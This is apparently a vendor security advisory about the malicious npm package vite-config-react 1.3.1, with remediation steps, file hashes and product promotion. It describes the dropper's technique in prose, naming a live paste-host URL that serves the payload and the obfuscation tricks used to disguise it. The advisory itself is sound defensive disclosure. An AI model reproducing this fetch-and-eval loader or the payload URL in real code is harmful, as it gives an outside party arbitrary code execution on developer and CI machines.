Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

vite-config-reactnpm

vite-config-react is a confirmed malicious npm package (MAL-2026-5728) that executes malicious code on install (malicious version 1.3.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in vite-config-react (npm)

MAL-2026-5728
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall vite-config-react

What this malware does

On require/import of the package, the entrypoint chain src/index.js → core/createConfig.js → features/plugins.js side-effect-imports features/extras/config.js, which runs an IIFE that performs axios.get('https://www.jsonkeeper.com/b/AAON3', { headers: { 'x-secret-key': '_' } }), reads .data.config from the response, and executes the returned string via new Function('require', s)(require) with a Node require constructed through createRequire(import.meta.url). The fetch-and-eval is wrapped in a 5-attempt retry loop with a swallowed try/catch. The dropper additionally shadows the global process with a local object whose keys are renamed DEV_API_KEY, DEV_SECRET_KEY, DEV_SECRET_VALUE so the hardcoded URL and header read like ordinary environment-variable lookups, and the wrapper function is named getCallers to obscure intent. jsonkeeper.com is an anonymous, mutable paste host with no hash pinning — the operator can swap the executed payload at any time. Any project that imports this package (for example in vite.config.js) hands the author arbitrary code execution on the developer's or CI machine with full require access.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged
1.3.1

Indicators of compromise (SHA-256)

79ca138b0d54ede570dc5fdf43ecaa2f258dcdc0020f80d4bfeb708985c1766a
d1f9ee389e1023034a78a4c268db5d48e016565f37b7fb6c514bf095b2dec552
f802822a8c49bd4698c44d4082b6b98fd603352ece650bf21ab9ce911def4666

Detection & response playbook

Malicious package
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for vite-config-react (version 1.3.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging vite-config-react across your stack and pipelines.

  2. If you installed it — respond

    Remove vite-config-react from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If vite-config-react was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks vite-config-react before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. vite-config-react on npm has been identified as a malicious package (version 1.3.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006278IN-MAL-2026-006277GHSA-9j99-p89c-pjwq

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks vite-config-react-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore